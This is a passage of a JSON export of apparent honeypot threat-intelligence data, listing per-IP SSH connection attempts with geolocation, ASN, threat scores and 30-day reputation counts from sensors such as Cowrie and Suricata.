      "attack_count": 3,
      "first_seen": "2026-05-22T07:59:58.483Z",
      "last_seen": "2026-05-22T08:01:18.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-22T07:59:58.483000+00:00",
        "last_seen_30d": "2026-05-27T03:32:36.908000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "102.66.147.58": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:53:23.763Z",
      "last_seen": "2026-05-05T11:53:37.280Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Uitenhage",
      "asn": 328471,
      "as_org": "Hero-Telecoms",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:53:23.763000+00:00",
        "last_seen_30d": "2026-05-05T11:54:41.118000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.206.158.68": {
      "attack_count": 2,
      "first_seen": "2026-05-11T19:28:10.005Z",
      "last_seen": "2026-05-11T19:30:10.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Angeles City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:28:10.005000+00:00",
        "last_seen_30d": "2026-05-11T19:40:51.186000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.221.27.22": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:58:59.451Z",
      "last_seen": "2026-05-23T10:59:35.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:58:59.451000+00:00",
        "last_seen_30d": "2026-05-23T11:00:43.451000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.225.60.98": {
      "attack_count": 2,
      "first_seen": "2026-05-26T04:54:14.824Z",
      "last_seen": "2026-05-26T04:54:27.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T04:54:14.824000+00:00",
        "last_seen_30d": "2026-05-26T04:55:33.559000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.207.109.217": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:11:51.716Z",
      "last_seen": "2026-05-23T02:12:28.784Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:11:51.716000+00:00",
        "last_seen_30d": "2026-05-23T02:13:29.775000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.196.84.13": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:46:15.357Z",
      "last_seen": "2026-05-03T02:46:15.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:46:15.357000+00:00",
        "last_seen_30d": "2026-05-03T02:47:16.237000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.51.165.110": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:16:31.569Z",
      "last_seen": "2026-05-23T05:16:31.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:16:31.569000+00:00",
        "last_seen_30d": "2026-05-23T05:17:35.648000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.20.55.195": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:31:11.355Z",
      "last_seen": "2026-05-26T20:31:24.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:31:11.355000+00:00",
        "last_seen_30d": "2026-05-26T20:32:34.634000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "130.193.253.144": {
      "attack_count": 2,
      "first_seen": "2026-05-07T16:15:08.635Z",
      "last_seen": "2026-05-07T16:15:22.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Erbil",
      "asn": 21277,
      "as_org": "Allay Nawroz Telecom Company for Communication/Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:15:08.635000+00:00",
        "last_seen_30d": "2026-05-07T16:16:27.086000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.46.29.147": {
      "attack_count": 2,
      "first_seen": "2026-05-27T00:35:27.475Z",
      "last_seen": "2026-05-27T00:35:58.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:35:27.475000+00:00",
        "last_seen_30d": "2026-05-27T00:37:07.618000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.137.112.88": {
      "attack_count": 2,
      "first_seen": "2026-05-30T14:03:36.602Z",
      "last_seen": "2026-05-30T14:03:49.407Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Torres",
      "asn": 52600,
      "as_org": "Digitotal Networks Telecomunicacoes ltda",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T14:03:36.602000+00:00",
        "last_seen_30d": "2026-05-30T14:04:59.426000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.161.221.253": {
      "attack_count": 2,
      "first_seen": "2026-05-10T21:50:22.764Z",
      "last_seen": "2026-05-10T21:50:34.769Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Feliz",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T21:50:22.764000+00:00",
        "last_seen_30d": "2026-05-10T21:51:35.470000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.191.40.108": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:02:15.157Z",
      "last_seen": "2026-05-22T23:02:41.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Tarlac City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:02:15.157000+00:00",
        "last_seen_30d": "2026-05-22T23:03:44.805000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.206.200.244": {
      "attack_count": 2,
      "first_seen": "2026-05-09T17:19:42.802Z",
      "last_seen": "2026-05-09T17:19:55.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Beirut",
      "asn": 43019,
      "as_org": "Farah Net S.a.r.l.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:19:42.802000+00:00",
        "last_seen_30d": "2026-05-09T17:21:01.442000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.82.109.236": {
      "attack_count": 2,
      "first_seen": "2026-05-16T21:45:44.831Z",
      "last_seen": "2026-05-16T21:45:57.430Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 203675,
      "as_org": "Vista Sh.p.k.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T21:45:44.831000+00:00",
        "last_seen_30d": "2026-05-16T21:46:57.854000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.216.2.240": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:28:28.257Z",
      "last_seen": "2026-05-07T11:28:40.559Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262663,
      "as_org": "METROFLEX TELECOMUNICACOES LTDA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:28:28.257000+00:00",
        "last_seen_30d": "2026-05-07T11:29:42.948000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.219.246.39": {
      "attack_count": 2,
      "first_seen": "2026-05-13T03:28:54.671Z",
      "last_seen": "2026-05-13T03:29:07.239Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Apodaca",
      "asn": 11888,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:28:54.671000+00:00",
        "last_seen_30d": "2026-05-13T03:30:14.149000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.120.252.195": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:11:07.670Z",
      "last_seen": "2026-05-22T00:13:07.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:11:07.670000+00:00",
        "last_seen_30d": "2026-05-22T00:14:36.429000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.5.161.116": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:29:40.074Z",
      "last_seen": "2026-05-02T04:29:52.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 28015,
      "as_org": "MERCO COMUNICACIONES",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:29:40.074000+00:00",
        "last_seen_30d": "2026-05-02T04:30:59.193000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.7.36.100": {
      "attack_count": 2,
      "first_seen": "2026-05-15T18:03:46.083Z",
      "last_seen": "2026-05-15T18:03:59.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Barreirinhas",
      "asn": 263309,
      "as_org": "LaraNet Telecomunicacoes e Servicos EIRALI",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T18:03:46.083000+00:00",
        "last_seen_30d": "2026-05-15T18:05:04.488000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.42": {
      "attack_count": 2,
      "first_seen": "2026-05-09T23:40:17.225Z",
      "last_seen": "2026-05-09T23:40:27.095Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T21:24:52+00:00",
        "last_seen_30d": "2026-05-30T14:00:07.744000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 18,
        "Cowrie": 2,
        "Dionaea": 1,
        "Wordpot": 1
      }
    },
    "200.6.81.193": {
      "attack_count": 2,
      "first_seen": "2026-05-05T00:06:44.058Z",
      "last_seen": "2026-05-05T00:06:57.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Catal\u00e3o",
      "asn": 270677,
      "as_org": "TEK TELECOM LTDA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:06:44.058000+00:00",
        "last_seen_30d": "2026-05-05T00:07:58.302000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.74.33.133": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:35:55.485Z",
      "last_seen": "2026-05-04T11:36:08.113Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:35:55.485000+00:00",
        "last_seen_30d": "2026-05-04T11:37:11.178000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.102.189": {
      "attack_count": 2,
      "first_seen": "2026-05-05T02:24:11.875Z",
      "last_seen": "2026-05-05T02:25:01.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Pingtung City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:54:22.097000+00:00",
        "last_seen_30d": "2026-05-05T02:26:08.788000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "220.165.207.214": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:53:51.409Z",
      "last_seen": "2026-05-23T02:54:04.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:53:51.409000+00:00",
        "last_seen_30d": "2026-05-23T02:55:13.921000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.151.252.202": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:20:31.004Z",
      "last_seen": "2026-05-23T06:21:00.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:20:31.004000+00:00",
        "last_seen_30d": "2026-05-23T06:22:07.303000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.26.188.247": {
      "attack_count": 2,
      "first_seen": "2026-05-04T03:26:00.088Z",
      "last_seen": "2026-05-04T03:26:13.082Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:26:00.088000+00:00",
        "last_seen_30d": "2026-05-04T03:27:18.665000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.8.160.2": {
      "attack_count": 2,
      "first_seen": "2026-05-15T11:21:12.361Z",
      "last_seen": "2026-05-15T11:21:24.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
